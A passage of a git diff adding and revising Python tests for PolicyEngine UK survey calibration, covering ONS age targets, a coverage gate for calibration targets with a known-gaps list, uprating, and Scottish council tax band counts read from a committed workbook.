test_80_plus_matches_published_ons_2025_projection(sex, label): + projection = pd.read_csv( + Path(__file__).parent / "fixtures" / "ons_uk_population_2025.csv" + ) + targets = {target.name: target for target in _parse_uk_totals(projection)} + # The fixture retains ONS's single ages 0-104 and terminal 105-109/110+. + older_ages = {str(age) for age in range(80, 105)} | { + "105 - 109", + "110 and over", + } + expected = projection.loc[ + (projection.Sex == label) & projection.Age.isin(older_ages), "2025" + ].sum() + assert targets[f"ons/{sex}_80_plus"].values[2025] == expected + + +@pytest.mark.parametrize("sex,label", [("female", "Females"), ("male", "Males")]) +@pytest.mark.parametrize( + "terminal_ages", [["89", "90+"], ["105 - 109", "110 and over"]] +) +def test_80_plus_target_includes_terminal_age_groups(sex, label, terminal_ages): + projection = pd.DataFrame( + { + "Sex": [label] * 4, + "Age": ["79", "80", *terminal_ages], + 2025: [1, 2, 4, 8], + } + ) + targets = {target.name: target for target in _parse_uk_totals(projection)} + + assert targets[f"ons/{sex}_80_plus"].values[2025] == 14 + + +def test_emitted_age_target_names_respect_frs_top_code(): + projection = pd.DataFrame( + {"Sex": ["Females", "Males"], "Age": [80, 80], 2025: [1, 1]} + ) + targets = _parse_uk_totals(projection) + _parse_regional_from_csv() + top_bands = [] + for target in targets: + if "_age_" not in target.name and not target.name.startswith( + ("ons/female_", "ons/male_") + ): + continue + low, high = target.name.rsplit("_", 2)[-2:] + assert int(low) <= 80, target.name + assert high == "plus" or int(high) < 80, target.name + if int(low) == 80: + top_bands.append(target.name) + assert len(top_bands) == 14 # Both sexes and all twelve regions. + + +@pytest.mark.parametrize( + "name,expected", + [ + ("ons/female_80_plus", [1, 1, 1, 0]), + ("ons/male_80_plus", [0, 1, 1, 1]), + ("ons/london_age_80_plus", [1, 1, 1, 1]), + ], +) +def test_80_plus_dispatch_counts_matching_household_members(name, expected): + household = np.array([0, 0, 1, 1, 2, 2, 3, 3]) + gender = pd.Series( + ["FEMALE", "FEMALE", "MALE", "FEMALE", "MALE", "FEMALE", "MALE", "MALE"] + ) + ctx = SimpleNamespace( + age=np.array([79, 80, 81, 100, 80, 80, 79, 85]), + region=pd.Series( + [ + "LONDON", + "LONDON", + "LONDON", + "WALES", + "WALES", + "LONDON", + "LONDON", + "LONDON", + ] + ), + sim=SimpleNamespace(calculate=lambda variable: gender), + household_from_person=lambda values: np.bincount(household, weights=values), + ) + target = Target( + name=name, + variable="age", + source="ons", + unit=Unit.COUNT, + values={2025: 1}, + is_count=True, + ) + + np.testing.assert_array_equal(_compute_column(target, ctx, 2025), expected) diff --git a/policyengine_uk_data/tests/test_policybench_transfer.py b/policyengine_uk_data/tests/test_policybench_transfer.py index a8579c0ec..4fa05852d 100644 --- a/policyengine_uk_data/tests/test_policybench_transfer.py +++ b/policyengine_uk_data/tests/test_policybench_transfer.py @@ -170,7 +170,11 @@ def test_policybench_transfer_calibration_improves_loss(tmp_path: Path): def test_policybench_transfer_calibration_uses_iterative_solver(monkeypatch): calls = {} - def fake_create_target_matrix(dataset, time_period, reform=None): + def fake_create_target_matrix( + dataset, time_period, reform=None, require_coverage=True + ): + # The transfer dataset is not the Enhanced FRS, so it is not gated. + assert require_coverage is False return pd.DataFrame( [[1.0, 0.0], [0.0, 1.0]], ), pd.Series([1.0, 2.0]) diff --git a/policyengine_uk_data/tests/test_property_income_targets.py b/policyengine_uk_data/tests/test_property_income_targets.py index 5a2f6208c..b5a1e2eec 100644 --- a/policyengine_uk_data/tests/test_property_income_targets.py +++ b/policyengine_uk_data/tests/test_property_income_targets.py @@ -5,6 +5,7 @@ """ from policyengine_uk_data.targets import get_all_targets +from policyengine_uk_data.targets.sources.hmrc_spi import _SPI_YEAR def test_property_income_targets_scaled(): @@ -13,7 +14,7 @@ def test_property_income_targets_scaled(): Raw SPI 2023-24 total is scaled up to better match HMRC rental income statistics, which cover more landlords than SPI. """ - base_year = 2024 + base_year = _SPI_YEAR targets = get_all_targets(year=base_year) total = sum( t.values[base_year] diff --git a/policyengine_uk_data/tests/test_target_coverage.py b/policyengine_uk_data/tests/test_target_coverage.py new file mode 100644 index 000000000..1f63ec006 --- /dev/null +++ b/policyengine_uk_data/tests/test_target_coverage.py @@ -0,0 +1,633 @@ +"""Required coverage of the national calibration targets (targets/coverage.py). + +create_target_matrix used to skip a target with a warning, or with nothing at +all when its year did not resolve (#456) or its name was already taken, and to +accept a column no household contributes to (#593). These tests pin the gate +that replaces that: every offered target is in the matrix with signal, or +listed in known_gaps.yaml with the status it may have, in the builds it may +have it. +""" + +from collections import Counter +from fnmatch import fnmatchcase +from types import SimpleNamespace + +import numpy as np +import pandas as pd +import pytest +from hypothesis import given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.targets import build_loss_matrix, registry +from policyengine_uk_data.targets.coverage import ( + BUILDS, + EXCUSABLE, + NEVER_EXCUSED, + STATUSES, + KnownGap, + TargetCoverageError, + TargetStatus, + check_coverage, + column_status, + coverage_problems, + current_build, + load_known_gaps, + parse_known_gaps, +) +from policyengine_uk_data.targets.schema import GeographicLevel, Target, Unit + +UC_BANDS = "dwp/uc_payment_dist/*" + + +def test_column_status(): + assert column_status(5.0, [0, 1, 0]) == "in_matrix" + assert column_status(5.0, [0, 0, 0]) == "zero_signal" + # A zero target met by a zero column needs no signal. + assert column_status(0.0, [0, 0, 0]) == "in_matrix" + assert column_status(float("nan"), [1, 1]) == "non_finite" + assert column_status(5.0, [1, np.inf]) == "non_finite" + + +def test_the_shipped_known_gaps_load_and_cite_issues(): + gaps = load_known_gaps() + for gap in gaps: + assert gap.status in EXCUSABLE + assert gap.issue.startswith("https://github.com/PolicyEngine/") + assert gap.reason + listed = [(n, gap.status) for gap in gaps for n in gap.targets] + assert len(listed) == len(set(listed)) + + def named(status): + return sum(len(g.targets) for g in gaps if g.status == status) + + # The 1.58.1 inventory at 2025, in every build, with #557 (SPI bands + # emitted once) and #604 (80-and-over ages in place of 85-90): 15 + # two-child-limit targets with no 2025 value, 17 without signal, and 3 ONS + # targets dropped under a name already taken (#605). + assert [named(s) for s in ("no_value_for_year", "zero_signal", "duplicate")] == [ + 15, + 17, + 3, + ] + assert all(g.builds == set(BUILDS) for g in gaps if g.targets) + # Only in testing builds, any UC payment band may lack signal (#598). + [uc] = [g for g in gaps if g.patterns] + assert (uc.status, uc.patterns, uc.builds) == ( + "zero_signal", + (UC_BANDS,), + {"testing"}, + ) + + +def test_the_shipped_gaps_excuse_any_uc_band_without_signal_in_testing_builds_only(): + gaps = load_known_gaps() + flickers = TargetStatus( + "dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_27_600_to_28_800", + "zero_signal", + ) + listed = TargetStatus( + "dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf", + "zero_signal", + ) + broken = TargetStatus(flickers.name, "error", "ValueError: x") + assert coverage_problems([flickers, listed], gaps, "testing")[0] == [] + assert coverage_problems([flickers, listed], gaps, "release")[0] == [ + f"{flickers.name}: zero_signal" + ] + assert coverage_problems([broken], gaps, "testing")[0] == [ + f"{flickers.name}: error (ValueError: x)" + ] + + +def _entry(**kwargs): + return { + "status": "zero_signal", + "reason": "x", + "issue": "https://github.com/a", + "targets": ["t"], + **kwargs, + } + + +@pytest.mark.parametrize( + "entry, match", + [ + (_entry(status="error"), "status"), + (_entry(status="non_finite"), "status"), + (_entry(reason=""), "reason"), + (_entry(issue="#456"), "issue"), + (_entry(targets=[]), "no targets"), + (_entry(targets=["t", "t"]), "twice"), + (_entry(builds=["nightly"]), "builds"), + (_entry(builds=[]), "builds"), + (_entry(builds="testing"), "builds"), + # A pattern excuses testing builds only, and must be a pattern. + (_entry(targets=[], patterns=["a/*"]), "testing builds"), + (_entry(targets=[], patterns=["a/*"], builds=["release"]), "testing builds"), + (_entry(targets=[], patterns=["a/b"], builds=["testing"]), "wildcard"), + ( + _entry(status="error", targets=[], patterns=["a/*"], builds=["testing"]), + "status", + ), + ], +) +def test_malformed_known_gaps_are_refused(entry, match): + with pytest.raises(ValueError, match=match): + parse_known_gaps({"schema_version": 1, "gaps": [entry]}) + + +def _gap(status, *names, builds=BUILDS, patterns=()): + return KnownGap( + status, + frozenset(names), + "reason", + "https://github.com/x", + frozenset(builds), + tuple(patterns), + ) + + +def test_a_gap_excuses_only_its_own_status_and_stale_gaps_are_reported(): + statuses = [ + TargetStatus("a", "in_matrix"), + TargetStatus("b", "zero_signal"), + TargetStatus("c", "no_value_for_year"), + TargetStatus("d", "error", "KeyError: x"), + ] + problems, stale = coverage_problems( + statuses, + [_gap("zero_signal", "b", "c"), _gap("no_column", "gone")], + ) + assert problems == ["c: no_value_for_year", "d: error (KeyError: x)"] + assert stale == [ + "c: listed as zero_signal, now no_value_for_year", + "gone: listed as no_column, now not offered by the registry", + ] + + +def test_a_gap_for_one_kind_of_build_excuses_nothing_in_the_other(monkeypatch): + rows = [TargetStatus("dwp/uc_payment_dist/A", "zero_signal")] + for gap in ( + _gap("zero_signal", rows[0].name, builds=["testing"]), + _gap("zero_signal", builds=["testing"], patterns=[UC_BANDS]), + ): + assert check_coverage(rows, [gap], build="testing") == [] + with pytest.raises(TargetCoverageError, match="A: zero_signal"): + check_coverage(rows, [gap], build="release") + release_only = _gap("no_column", "b", builds=["release"]) + rows = [TargetStatus("b", "no_column")] + assert check_coverage(rows, [release_only], build="release") == [] + with pytest.raises(TargetCoverageError, match="b: no_column"): + check_coverage(rows, [release_only], build="testing") + # Nor is it stale there: it does not apply. + assert coverage_problems([], [release_only], "testing") == ([], []) + # The build kind is read from TESTING, as create_datasets reads it. + monkeypatch.setenv("TESTING", "1") + assert current_build() == "testing" + monkeypatch.setenv("TESTING", "0") + assert current_build() == "release" + monkeypatch.delenv("TESTING") + assert current_build() == "release" + with pytest.raises(TargetCoverageError, match="b: no_column"): + check_coverage(rows, [_gap("no_column", "b", builds=["testing"])]) + + +def test_a_pattern_excuses_only_its_status_and_is_stale_only_if_it_matches_nothing(): + [gap] = parse_known_gaps( + { + "schema_version": 1, + "gaps": [_entry(targets=[], patterns=[UC_BANDS], builds=["testing"])], + } + ) + rows = [ + TargetStatus("dwp/uc_payment_dist/A", "zero_signal"), + TargetStatus("dwp/uc_payment_dist/B", "in_matrix"), + TargetStatus("dwp/uc_payment_dist/C", "error", "KeyError: x"), + TargetStatus("dwp/uc_payment_dist/D", "non_finite"), + TargetStatus("dwp/uc_payment_dist/E", "no_column"), + TargetStatus("dwp/uc/F", "zero_signal"), + ] + assert coverage_problems(rows, [gap], "testing") == ( + [ + "dwp/uc_payment_dist/C: error (KeyError: x)", + "dwp/uc_payment_dist/D: non_finite", + "dwp/uc_payment_dist/E: no_column", + "dwp/uc/F: zero_signal", + ], + [], + ) + # Excusing nothing in one build is not stale; matching no target is. + assert coverage_problems(rows[1:2], [gap], "testing") == ([], []) + assert coverage_problems( + [TargetStatus("obr/x", "in_matrix")], [gap], "testing" + ) == ( + [], + [f"{UC_BANDS}: listed as zero_signal, matches no target"], + ) + + +NAMES = ["a/x", "a/y", "b/x", "c"] +PATTERNS = ["a/*", "*/x", "z*"] + + +@settings(max_examples=300, deadline=None) +@given( + rows=st.lists(st.tuples(st.sampled_from(NAMES), st.sampled_from(STATUSES))), + build=st.sampled_from(BUILDS), + data=st.data(), +) +def test_problems_are_exactly_the_unexcused_targets_out_of_the_matrix( + rows, build, data +): + # Hand-built gaps, so even statuses the file refuses: none may excuse an + # error or a non-finite value. + status = st.sampled_from(EXCUSABLE + NEVER_EXCUSED) + builds = st.sampled_from([BUILDS, ("testing",), ("release",)]) + # A name may be listed under several statuses, each once. + listed = data.draw( + st.dictionaries(st.tuples(st.sampled_from(NAMES + ["zz"]), status), builds) + ) + globbed = data.draw(st.dictionaries(st.sampled_from(PATTERNS), status)) + gaps = [_gap(s, n, builds=b) for (n, s), b in listed.items()] + gaps += [_gap(s, builds=["testing"], patterns=[p]) for p, s in globbed.items()] + statuses = [TargetStatus(n, s) for n, s in rows] + problems, stale = coverage_problems(statuses, gaps, build) + + # The model: only the gaps for this build apply. + named = {pair for pair, b in listed.items() if build in b} + patterns = globbed if build == "testing" else {} + + def excused(name, status): + return status not in NEVER_EXCUSED and ( + (name, status) in named + or any(s == status and fnmatchcase(name, p) for p, s in patterns.items()) + ) + + assert problems == [ + f"{n}: {s}" for n, s in rows if s != "in_matrix" and not excused(n, s) + ] + assert all(f"{n}: {s}" in problems for n, s in rows if s in NEVER_EXCUSED) + stale_pairs = { + (line.split(": listed as ")[0], line.split(": listed as ")[1].split(",")[0]) + for line in stale + } + assert stale_pairs == { + (n, s) for n, s in named if s in NEVER_EXCUSED or (n, s) not in rows + } | { + (p, s) + for p, s in patterns.items() + if not any(fnmatchcase(n, p) for n, _ in rows) + } + # Order of the statuses never changes the verdict. + shuffled = data.draw(st.permutations(statuses)) + assert sorted(coverage_problems(shuffled, gaps, build)[0]) == sorted(problems) + + +def _target(name, values={2025: 10.0}, **kwargs): + return Target( + **{ + "name": name, + "variable": "employment_income", + "source": "test", + "unit": Unit.GBP, + "values": values, + **kwargs, + } + ) + + +class FakeMicrosimulation: + """Two households, in England and Wales.""" + + def __init__(self, dataset=None, reform=None): + pass + + def calculate(self, variable, *args, **kwargs): + assert variable == "country" + return pd.Series(["ENGLAND", "WALES"]) + + +def _sources(*sources): + """Fake source modules, one per list of targets.""" + return lambda: [SimpleNamespace(get_targets=lambda s=s: list(s)) for s in sources] + + +@pytest.fixture +def fake_matrix(monkeypatch): + """The target matrix from chosen sources, with columns chosen by name.""" + import policyengine_uk + + monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation) + + def configure(columns, *sources): + monkeypatch.setattr(registry, "discover_source_modules", _sources(*sources)) + + def compute(target, ctx, year): + column = columns[target.name] + if isinstance(column, Exception): + raise column + return None if column is None else np.asarray(column) + + monkeypatch.setattr(build_loss_matrix, "_compute_column", compute) + return SimpleNamespace(time_period="2025") + + return configure + + +def _statuses_by_name(statuses): + by_name = {} + for row in statuses: + by_name.setdefault(row.name, []).append(row.status) + return by_name + + +def test_a_dropped_target_fails_the_matrix_unless_it_is_a_known_gap( + fake_matrix, monkeypatch +): + dataset = fake_matrix( + {"ok": [1.0, 0.0], "later": [1.0, 1.0], "broken": KeyError("no such variable")}, + [_target("ok"), _target("later", values={2026: 1.0}), _target("broken")], + ) + with pytest.raises(TargetCoverageError) as raised: + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + message = str(raised.value) + assert "later: no_value_for_year (values for 2026)" in message + assert "broken: error (KeyError: 'no such variable')" in message + df, values = build_loss_matrix.create_target_matrix( + dataset, time_period="2025", require_coverage=False + ) + assert list(df.columns) == ["ok"] and list(values.index) == ["ok"] + monkeypatch.setattr( + "policyengine_uk_data.targets.coverage.load_known_gaps", + lambda: [_gap("no_value_for_year", "later")], + ) + with pytest.raises(TargetCoverageError, match="broken"): + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + + +def test_a_column_without_signal_fails_unless_it_is_a_known_gap( + fake_matrix, monkeypatch +): + dataset = fake_matrix( + {"ok": [1.0, 2.0], "flat": [0.0, 0.0]}, [_target("ok"), _target("flat")] + ) + with pytest.raises(TargetCoverageError, match="flat: zero_signal"): + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + monkeypatch.setattr( + "policyengine_uk_data.targets.coverage.load_known_gaps", + lambda: [_gap("zero_signal", "flat")], + ) + df, values = build_loss_matrix.create_target_matrix(dataset, time_period="2025") + # Known gaps still enter the matrix: the change is that they are declared. + assert list(df.columns) == ["ok", "flat"] + + +def test_a_non_finite_column_is_never_excused(fake_matrix, monkeypatch): + dataset = fake_matrix({"nan": [np.nan, 1.0]}, [_target("nan")]) + monkeypatch.setattr( + "policyengine_uk_data.targets.coverage.load_known_gaps", + lambda: [_gap("zero_signal", "nan")], + ) + with pytest.raises(TargetCoverageError, match="nan: non_finite"): + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + + +def test_a_name_two_sources_emit_fails_unless_it_is_a_known_gap( + fake_matrix, monkeypatch +): + """Scenario A: two source modules emit the same national name.""" + dataset = fake_matrix( + {"obr/foo": [1.0, 2.0]}, + [_target("obr/foo")], + [_target("obr/foo", values={2025: 20.0})], + ) + _, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025") + assert values.to_dict() == {"obr/foo": 10.0} + assert statuses == [ + TargetStatus( + "obr/foo", + "duplicate", + "test national target for 2025 dropped for the test national one for 2025", + ), + TargetStatus("obr/foo", "in_matrix"), + ] + with pytest.raises(TargetCoverageError, match="obr/foo: duplicate"): + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + monkeypatch.setattr( + "policyengine_uk_data.targets.coverage.load_known_gaps", + lambda: [_gap("duplicate", "obr/foo")], + ) + df, _ = build_loss_matrix.create_target_matrix(dataset, time_period="2025") + assert list(df.columns) == ["obr/foo"] + + +def test_a_regional_target_named_like_a_national_one_fails(fake_matrix): + """Scenario B: the national target wins even when emitted second.""" + dataset = fake_matrix( + {"ons/foo": [1.0, 2.0]}, + [ + _target( + "ons/foo", + values={2024: 5.0}, + geographic_level=GeographicLevel.REGION, + source="ons", + ), + _target("ons/foo"), + ], + ) + _, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025") + assert values.to_dict() == {"ons/foo": 10.0} + assert _statuses_by_name(statuses) == {"ons/foo": ["duplicate", "in_matrix"]} + assert statuses[0].detail == ( + "ons region target for 2024 dropped for the test national one for 2025" + ) + with pytest.raises(TargetCoverageError, match="ons/foo: duplicate"): + build_loss_matrix.create_target_matrix(dataset, time_period="2025") + + +def test_a_column_that_cannot_enter_the_matrix_has_one_error_status(fake_matrix): + """The status follows the column into the matrix, so a column that fails + to go in, or whose status fails, leaves only an error and no column.""" + dataset = fake_matrix( + { + "ok": [1.0, 2.0], + "long": [1.0, 2.0, 3.0], + "text": np.array(["a", "b"], dtype=object), + }, + [_target("ok"), _target("long"), _target("text")], + ) + df, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025") + assert list(df.columns) == ["ok"] and list(values.index) == ["ok"] + assert _statuses_by_name(statuses) == { + "ok": ["in_matrix"], + "long": ["error"], + "text": ["error"], + } + + +def _main_create_target_matrix(dataset, time_period): + """create_target_matrix and get_all_targets as on main before the gate + (daad71cd), with module references made explicit: the differential + test's reference.""" + from policyengine_uk import Microsimulation + + def get_all_targets(geographic_level): + all_targets, seen_names = [], set() + for mod in registry.discover_source_modules(): + for target in mod.get_targets(): + if target.name in seen_names: + continue + if target.geographic_level != geographic_level: + continue + seen_names.add(target.name) + all_targets.append(target) + return all_targets + + year = int(time_period) + sim = Microsimulation(dataset=dataset) + sim.default_calculation_period = time_period + ctx = build_loss_matrix._SimContext(sim, time_period, dataset, None) + all_targets = [] + seen = set() + for level in ( + GeographicLevel.NATIONAL, + GeographicLevel.REGION, + GeographicLevel.COUNTRY, + ): + for t in get_all_targets(geographic_level=level): + if t.name not in seen: + seen.add(t.name) + all_targets.append(t) + df = pd.DataFrame() + target_names = [] + target_values = [] + for target in all_targets: + try: + val = build_loss_matrix._resolve_value(target, year) + if val is None: + continue + col = build_loss_matrix._compute_column(target, ctx, year) + if col is None: + continue + df[target.name] = build_loss_matrix.restrict_to_countries( + col, ctx.country, target.countries + ) + target_names.append(target.name) + target_values.append(val) + except Exception: + pass + return df, pd.Series(target_values, index=target_names) + + +def _column(kind): + """A custom_compute giving a fixed column, no column, or an error.""" + if kind == "none": + return lambda ctx, target, year: None + if kind == "error": + + def raises(ctx, target, year): + raise KeyError("no such variable") + + return raises + return lambda ctx, target, year: np.asarray(kind, dtype=float) + + +emitted_target = st.builds( + lambda name, level, year, value, column, countries: _target( + name, + values={year: value}, + geographic_level=level, + countries=countries, + custom_compute=_column(column), + ), + name=st.sampled_from(["a", "b", "c"]), + level=st.sampled_from( + [ + GeographicLevel.NATIONAL, + GeographicLevel.REGION, + GeographicLevel.COUNTRY, + GeographicLevel.CONSTITUENCY, + ] + ), + # 2023 carries forward to 2025; 2026 does not carry back. + year=st.sampled_from([2023, 2025, 2026]), + value=st.sampled_from([0.0, 10.0, float("nan")]), + column=st.one_of( + st.sampled_from(["none", "error"]), + st.lists( + st.sampled_from([0.0, 1.0, -2.5, np.nan, np.inf]), min_size=2, max_size=2 + ), + ), + countries=st.sampled_from([None, ("ENGLAND",)]), +) + + +@settings(max_examples=200, deadline=None) +@given(sources=st.lists(st.lists(emitted_target, max_size=5), min_size=1, max_size=3)) +def test_without_the_gate_the_matrix_is_mains(sources): + """require_coverage=False builds exactly the matrix main built, from the + same sources, duplicates included; and every target offered at a matrix + level gets exactly one status. + + The one intended difference, not generated here: a column whose status + cannot be computed (a non-numeric column) now leaves the matrix as an + error, where main kept it. + """ + import policyengine_uk + + with pytest.MonkeyPatch.context() as patch: + patch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation) + patch.setattr(registry, "discover_source_modules", _sources(*sources)) + dataset = SimpleNamespace(time_period="2025") + df, values = build_loss_matrix.create_target_matrix( + dataset, "2025", require_coverage=False + ) + main_df, main_values = _main_create_target_matrix(dataset, "2025") + _, _, statuses = build_loss_matrix.build_target_matrix(dataset, "2025") + pd.testing.assert_frame_equal(df, main_df) + pd.testing.assert_series_equal(values, main_values) + offered = Counter( + t.name + for source in sources + for t in source + if t.geographic_level in build_loss_matrix.MATRIX_LEVELS + ) + assert Counter(row.name for row in statuses) == offered + + +def test_stale_gaps_warn_without_failing(caplog): + caplog.set_level("WARNING", logger="policyengine_uk_data.targets.coverage") + stale = check_coverage([TargetStatus("a", "in_matrix")], [_gap("zero_signal", "a")]) + assert stale == ["a: listed as zero_signal, now in_matrix"] + assert "Stale known calibration-target gap" in caplog.text + + +def test_stale_gaps_and_problems_reach_the_job_summary_once(tmp_path, monkeypatch): + summary = tmp_path / "summary.md" + monkeypatch.setenv("GITHUB_STEP_SUMMARY", str(summary)) + gaps = [_gap("zero_signal", "a")] + # The constituency and local authority calibrations both check. + for _ in range(2): + check_coverage([TargetStatus("a", "in_matrix")], gaps, build="release") + text = summary.read_text() + assert text.count("`a: listed as zero_signal, now in_matrix`") == 1 + assert text.count("### Calibration target coverage (release build)") == 1 + with pytest.raises(TargetCoverageError): + check_coverage([TargetStatus("b", "no_column")], gaps, build="testing") + assert ( + "Not in the matrix and not a known gap: `b: no_column`" in summary.read_text() + ) + monkeypatch.delenv("GITHUB_STEP_SUMMARY") + check_coverage([TargetStatus("c", "in_matrix")], [_gap("zero_signal", "c")]) + assert "`c:" not in summary.read_text() + + +def test_built_data_has_no_target_outside_the_matrix_and_the_known_gaps(enhanced_frs): + """On the built dataset the gate passes: the known gaps are complete.""" + from policyengine_uk_data.datasets.frs_release import CURRENT_FRS_RELEASE + + _, _, statuses = build_loss_matrix.build_target_matrix( + enhanced_frs, str(CURRENT_FRS_RELEASE.calibration_year) + ) + problems, _ = coverage_problems(statuses, load_known_gaps()) + assert problems == [] diff --git a/policyengine_uk_data/tests/test_target_registry.py b/policyengine_uk_data/tests/test_target_registry.py index c2a1c1c37..9c8e93cf5 100644 --- a/policyengine_uk_data/tests/test_target_registry.py +++ b/policyengine_uk_data/tests/test_target_registry.py @@ -7,8 +7,12 @@ 4. Target values match the current system's hardcoded values """ +from collections import Counter + from policyengine_uk_data.targets import get_all_targets from policyengine_uk_data.targets.build_loss_matrix import _compute_column +from policyengine_uk_data.targets.coverage import load_known_gaps +from policyengine_uk_data.targets.registry import emitted_targets def test_registry_loads(): @@ -18,11 +22,20 @@ def test_registry_loads(): def test_no_duplicate_names(): - """Target names should be unique across all sources.""" - targets = get_all_targets() - names = [t.name for t in targets] - duplicates = [n for n in names if names.count(n) > 1] - assert len(duplicates) == 0, f"Duplicate target names: {set(duplicates)}" + """Each name is emitted once, apart from the duplicates known_gaps.yaml lists. + + get_all_targets keeps only the first target of each name, so this counts + what the sources emit before that. + """ + counts = Counter(t.name for t in emitted_targets()) + listed = { + name + for gap in load_known_gaps() + if gap.status == "duplicate" + for name in gap.targets + } + duplicates = sorted(n for n, k in counts.items() if k > 1 and n not in listed) + assert not duplicates, f"Duplicate target names: {duplicates}" def test_obr_income_tax_exists(): diff --git a/policyengine_uk_data/tests/test_uprating.py b/policyengine_uk_data/tests/test_uprating.py new file mode 100644 index 000000000..fbdf3b304 --- /dev/null +++ b/policyengine_uk_data/tests/test_uprating.py @@ -0,0 +1,55 @@ +"""Dataset uprating preserves the meaning of carried calibration priors.""" + +import numpy as np +import pandas as pd +from policyengine_uk.data import UKSingleYearDataset + +from policyengine_uk_data.utils import uprating + + +def test_carried_calibration_priors_follow_household_weight_uprating( + tmp_path, monkeypatch +): + factors = pd.DataFrame( + {"2024": [1.2, 1.0], "2025": [1.5, 2.0]}, + index=pd.Index(["household_weight", "capital_gains"], name="Variable"), + ) + factors.to_csv(tmp_path / "uprating_factors.csv") + monkeypatch.setattr(uprating, "STORAGE_FOLDER", tmp_path) + household = pd.DataFrame( + { + "household_id": [1, 2, 3, 4], + "household_weight": [850.0, 150.0, 0.0, 50.0], + "household_calibration_prior": [425.0, 75.0, 850.0, 150.0], + } + ) + dataset = UKSingleYearDataset( + person=pd.DataFrame( + { + "person_id": [1, 2, 3, 4], + "person_household_id": [1, 2, 3, 4], + "person_benunit_id": [1, 2, 3, 4], + "capital_gains": [0.0, 4_000.0, 0.0, 5_000.0], + } + ), + benunit=pd.DataFrame({"benunit_id": [1, 2, 3, 4]}), + household=household.copy(), + fiscal_year=2024, + ) + + result = uprating.uprate_dataset(dataset, 2025) + + np.testing.assert_allclose( + result.household.household_calibration_prior, + household.household_calibration_prior * 1.25, + ) + np.testing.assert_allclose( + result.household.household_weight, household.household_weight * 1.25 + ) + np.testing.assert_allclose( + result.person.capital_gains, dataset.person.capital_gains * 2 + ) + pd.testing.assert_frame_equal(dataset.household, household) + restored = uprating.uprate_dataset(result, 2024) + pd.testing.assert_frame_equal(restored.household, household) + pd.testing.assert_frame_equal(restored.person, dataset.person) diff --git a/policyengine_uk_data/tests/test_voa_council_tax.py b/policyengine_uk_data/tests/test_voa_council_tax.py index 79a9001b0..05b27eb92 100644 --- a/policyengine_uk_data/tests/test_voa_council_tax.py +++ b/policyengine_uk_data/tests/test_voa_council_tax.py @@ -1,111 +1,77 @@ +"""The Scottish council tax band targets come from the committed workbook only. + +They used to come from a live gov.scot download, with a fixed substitute +distribution whenever the download failed. Builds of the same code then +calibrated to different Scottish targets (#596). +""" + from __future__ import annotations -from io import BytesIO +import shutil -import openpyxl import pytest +from hypothesis import HealthCheck, given, settings +from hypothesis import strategies as st +from policyengine_uk_data.storage import STORAGE_FOLDER from policyengine_uk_data.targets.sources import voa_council_tax - -class DummyResponse: - def __init__( - self, - content: bytes = b"", - *, - text: str = "", - url: str = "https://example.test/file.xlsx", - content_type: str = "application/octet-stream", - ): - self.content = content - self.text = text - self.url = url - self.headers = {"content-type": content_type} - - def raise_for_status(self): - return None - - -def _workbook_bytes() -> bytes: - workbook = openpyxl.Workbook() - worksheet = workbook.active - worksheet.title = "Chargeable Dwellings 2025" - worksheet.cell(row=8, column=10).value = 2_623_149 - out = BytesIO() - workbook.save(out) - return out.getvalue() - - -def test_scotland_workbook_download_falls_back_to_source_page(monkeypatch): - voa_council_tax._download_scotland_workbook.cache_clear() - calls = [] - - def fake_get(url, **kwargs): - calls.append(url) - if len(calls) <= 3: - return DummyResponse( - b"temporary bad response", - url=url, - content_type="text/html", - ) - if url == voa_council_tax._SCOTLAND_REF: - return DummyResponse( - text=( - 'download' - ), - url=url, - content_type="text/html", - ) - return DummyResponse( - _workbook_bytes(), - url=url, - content_type=( - "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" - ), - ) - - monkeypatch.setattr(voa_council_tax.requests, "get", fake_get) - monkeypatch.setattr(voa_council_tax.time, "sleep", lambda _: None) - - workbook = voa_council_tax._download_scotland_workbook() - - assert workbook["Chargeable Dwellings 2025"].cell(row=8, column=10).value == ( - 2_623_149 - ) - assert calls[:3] == [voa_council_tax._SCOTLAND_WORKBOOK_URL] * 3 - assert voa_council_tax._SCOTLAND_REF in calls - - -def test_load_xlsx_response_reports_bad_content_type(): - with pytest.raises(ValueError, match="Expected an XLSX workbook"): - voa_council_tax._load_xlsx_response( - DummyResponse( - b"not a workbook", - content_type="text/html", - ) - ) - - -def test_scotland_band_counts_fall_back_when_gov_scot_blocks(monkeypatch): - def raise_blocked(): - raise ValueError("CloudFront challenge") - - monkeypatch.setattr( - voa_council_tax, - "_download_scotland_workbook", - raise_blocked, - ) - +# The workbook's Scotland row (Number of Chargeable Dwellings, September 2025). +PUBLISHED = { + "A": 498_707, + "B": 583_705, + "C": 426_388, + "D": 369_621, + "E": 366_881, + "F": 221_282, + "G": 142_084, + "H": 14_481, + "Total": 2_623_149, +} + + +def test_scotland_band_counts_are_the_committed_workbook(): counts = voa_council_tax._get_scotland_band_counts() - - assert counts["Total"] == voa_council_tax._SCOTLAND_FALLBACK_TOTAL_2025 - band_sum = sum(counts[band] for band in "ABCDEFGH") - assert band_sum == pytest.approx(counts["Total"]) - assert counts["B"] > counts["H"] + assert counts == PUBLISHED + assert sum(counts[band] for band in "ABCDEFGH") == counts["Total"] + + +def test_no_download_is_attempted(monkeypatch): + def refuse(*args, **kwargs): + raise AssertionError("the Scottish workbook must not be downloaded") + + monkeypatch.setattr(voa_council_tax.requests, "get", refuse) + assert voa_council_tax._get_scotland_band_counts()["Total"] == 2_623_149 + + +@settings( + max_examples=20, + deadline=None, + suppress_health_check=[HealthCheck.function_scoped_fixture], +) +@given(data=st.data()) +def test_any_change_to_the_workbook_bytes_fails(tmp_path, monkeypatch, data): + """No substitute distribution: other bytes stop the build.""" + target = tmp_path / voa_council_tax._SCOTLAND_WORKBOOK_FILE + 